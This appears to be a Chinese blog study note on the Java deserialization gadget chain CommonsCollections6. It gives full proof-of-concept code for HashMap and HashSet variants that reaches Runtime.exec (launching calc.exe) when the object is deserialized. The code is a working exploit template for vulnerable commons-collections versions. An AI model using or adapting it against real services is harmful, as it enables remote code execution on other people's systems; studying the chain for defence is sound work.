java反序列化之CommonCollections6利⽤链的学习

一、源起

前文学习CC1链和URLDNS链的学习,同时学习过程中知道cc1受jdk版本的限制,故而进一步分析cc6链的利用过程,这个利用链不受jdk版本的限制,只要commons collections小于等于3.2.1,都存在这个漏洞。

ps:环境使用:

  • ComonsCllections <= 3.2.1
  • java 1.8.0_261

二、利用链1(java.util.HashMap#readObject链)

1、利用链说明

老规矩,还是用P神简化后的利用链进行学习

Gadget chain:

  • java.io.ObjectInputStream.readObject()
    • java.util.HashMap.readObject()
      • java.util.HashMap.hash()
        • org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
          • org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
            • org.apache.commons.collections.map.LazyMap.get()
              • org.apache.commons.collections.functors.ChainedTransformer.transform(
                • org.apache.commons.collections.functors.InvokerTransformer.transform()
                  • java.lang.reflect.Method.invoke()
                    • java.lang.Runtime.exec()

我们首先要关注的就是利用链开始到 org.apache.commons.collections.map.LazyMap.get()  这一部分, 因为在CC1链的分析中,我们探索了LazyMap的get方法的利用过程,在CC1链中,利用的是 sun.reflect.annotationInvocationHandler#invoke 方法调用的 LazyMap#get ; 但是因为  sun.reflect.annotationInvocationHandler 受限于jdk版本,所以CC6链中需要重新寻找会调用LazyMap#get的链路。

在CC6链路中,找到的类是 org.apache.commons.collections.keyvalue.TiedMapEntry , 在其 getValue() 方法中调用了 this.map.get , 而其hashCode方法又调用了 getValue 方法:

package org.apache.commons.collections.keyvalue;

import java.io.Serializable;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.KeyValue;

public class TiedMapEntry implements Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

    public Object getKey() {
        return this.key;
    }

    public Object getValue() {
        return this.map.get(this.key);
    }

    public Object setValue(Object value) {
        if (value == this) {
            throw new IllegalArgumentException("Cannot set value to this map entry");
        } else {
            return this.map.put(this.key, value);
        }
    }

    public boolean equals(Object obj) {
        if (obj == this) {
            return true;
        } else if (!(obj instanceof Entry)) {
            return false;
        } else {
            Entry other = (Entry)obj;
            Object value = this.getValue();
            return (this.key == null ? other.getKey() == null : this.key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue()));
        }
    }

    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

    public String toString() {
        return this.getKey() + "=" + this.getValue();
    }
}

所以,欲触发LazyMap利用链, 就是要找到哪里调用了 TiedMapEntry#hashCode ; 

其实说起hashCode() 方法, 在之前分析URLDNS链中就有调用,故而我们分析 java.util.HashMap#readObject 中就可以找到HashMap#hash() 的调用

public class HashMap<K,V> extends AbstractMap<K,V>
 implements Map<K,V>, Cloneable, Serializable {
 
 // ...
 
 static final int hash(Object key) {
 int h;
 return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
 }
 // ...
 
 private void readObject(java.io.ObjectInputStream s)
 throws IOException, ClassNotFoundException {
 // Read in the threshold (ignored), loadfactor, and any hidden
stuff
 s.defaultReadObject();
 // ...
 // Read the keys and values, and put the mappings in the
HashMap
 for (int i = 0; i < mappings; i++) {
 @SuppressWarnings("unchecked")
 K key = (K) s.readObject();
 @SuppressWarnings("unchecked")
 V value = (V) s.readObject();
 putVal(hash(key), key, value, false, false);
 }
 }
 }

在HashMap的readObject方法中,调用到了 hash(key), 而hash方法中,调用到了 key.hashCode()。 所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前面分析过程,构成一个完整的利用链。

2、构造POC

经过上面的分析,利用链也清晰了,那么我们着手构造poc,首先,我们先把恶意的 LazyMap构成出来:

Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

为了避免本地调试时触发命令执行,构造LazyMap的时候先用一个人畜无害的fakeTransformers 对象,等最后要生成Payload的时候,再把真正的transformers 替换进去。

现在,我们有了恶意的LazyMap对象outerMap, 将其作为TiedMapEntry的map属性:

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

接着,为了调用TiedMapEntry#hashCode() ,我们需要将tme对象作为HashMap的一个key。 注意,这里需要新建一个HashMap, 而不是用之前的LazyMap利用链里的那个HashMap,两者没有任何关系:

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

最后,我们才是将这个expMap作为对象来进行序列化,不过,不要遗忘将真正的poc的transformers数组设置进来。

//将真正的transformer数组设置
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

//生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

所以最终构造成的测试POC如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception{
        Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap =  new HashMap();
        expMap.put(tme, "valuevalue");

        //将真正的transformers数组设置进去
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);


        //生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();


        //本地发序列化测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o  = (Object)ois.readObject();
    }





}

但是,实际一执行上面的poc,发现并没有弹出计算器,这又是为什么?我们实际调试跟进一下,

关键点再LazyMap的get方法,下图我画框的部分,就是最后触发命令执行的Transform(), 这个if语句并没有进入,因为map.containsKey(key) 的结果是 true:

这是为什么呢?outerMap中我并没有放入一个key 是keykey的对象呀。

我们看下之前的代码,唯一出现keykey的地方就是在TiedMapEntry的构造函数里,但TiedMapEntry的构造函数并没有修改outerMap。

其实,这个关键点就出在expMap.put(tme,"valuevalue") 这个语句里面。 HashMap的put方法中,也有调用 hash(key) :

public V put(K key, V value) {
 return putVal(hash(key), key, value, false, true);
}

这里就导致LazyMap 这个利用链在这里被调用一遍。 因为我前面用了fakeTransformers,所以此时并没有触发命令执行,但实际上也对我们构造payload产生了影响。

这里解决方法也很简单,只需要将keykey这个 Key,再从outerMap中移除即可,故而完整的POC如下:
 

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception{
        Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap =  new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");

        //将真正的transformers数组设置进去
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);


        //生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();


        //本地发序列化测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o  = (Object)ois.readObject();
    }





}

 

三、利用链2(java.util.HashSet#readObject()链)

1、利用链说明

其实 org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()  及之后部分都是一样的,只是说还有哪里会调用到TiedMapEntry.hashCode() 方法, 那么这条利用链如下:

java.util.HashSet#readObject --> java.util.HashSet#add --> java.util.HashSet#put --> java.util.HashSet#hashcode

Gadget chain:

  • java.io.ObjectInputStream.readObject()
    • java.util.HashSet.readObject()
      • java.util.HashSet.add()
      • java.util.HashSet.put()
        • org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
          • org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
            • org.apache.commons.collections.map.LazyMap.get()
              • org.apache.commons.collections.functors.ChainedTransformer.transform(
                • org.apache.commons.collections.functors.InvokerTransformer.transform()
                  • java.lang.reflect.Method.invoke()
                    • java.lang.Runtime.exec()

其实就是通过HashSet中的readObject方法在最后会触发put方法(本质就是HashMap的put方法),然后put方法如HashMap中一样,会触发到hashcode方法

但是这里需要把 e 变成TiedMapEntry对象, 这样才能触发到 TiedMapEntry的 hashCode方法。

而e的值来自于 E e = (E) s.readObject();   所以我们跟进下HashSet的 writeObject方法,查看e的来源,如下所示,其实就来自于我们序列化前设置的HashSet对象

回到 HashSet#readObject() 方法中,其会调用put方法,追究到底其实就是 HashMap#put() 方法, 所以这部分我们只要控制e就可以,也就是 e 这个键是 TiedMapEntry对象即可

刚好 HashSet中提供了 add 方法,HashSet对象添加一个元素,也就是e 这键的值设置为 TiedMapEntry 对象, 将TiedMapEntry对象添加到HashSet中。

2、构造POC

经过上面的分析,利用链也清晰了,那么我们着手构造POC。 首先,我们先把恶意的LazyMap构造出来:

Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

为了避免本地调试时触发命令执行, 构造LazyMap的时候先用一个人畜无害的fakeTransformers对象, 等最后要生成Payload的时候,再把真正的transformers 替换进去。

现在,我们有一个恶意的LazyMap 对象 outerMap,将其作为TiedMapEntry的map属性:

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

接着,为了调用TiedMapEntry#hashCode() , 我们需要将 tme 对象作为HashSet的一个key。 注意,这里需要新建一个 HashSet, 而不是用之前的 LazyMap利用链里的那个HashMap, 两者没有任何关系,使用add方法给HashSet添加一个元素:

HashSet expSet = new HashSet();
expSet.add(tme);

最后,我们才是将这个expSet作为对象来进行序列化,不过不要遗忘将真正的poc的transformers 数组设置进来。

//将真正的transformer数组设置
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

//生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

同样的,expSet.add(tme);  这个语句⾥⾯。

HashSet的add⽅法中,也有调⽤到 put方法,并会导致执行hash(key) 方法,最终导致出现和hashMap一样 的问题。

关键点在LazyMap的get⽅法,下图我画框的部分,就是最后触发命令执⾏的 transform() ,但是这个if语句并没有进⼊,因为 map.containsKey(key) 的结果是true:

这⾥就导致 LazyMap 这个利⽤链在这⾥被调⽤了⼀遍,因为我前⾯⽤了 fakeTransformers ,所以此时并没有触发命令执⾏,但实际上也对我们构造Payload产⽣了影响。

我们的解决⽅法也很简单,只需要将keykey这个Key,再从outerMap中移除即可:

所以,最终构造成的测试POC如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC62 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");


        HashSet expSet = new HashSet();
        expSet.add(tme);
        outerMap.remove("keykey");

        //将真正的transformers数组设置进去
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        //生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expSet);
        oos.close();


        //本地发序列化测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o  = (Object)ois.readObject();

    }
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值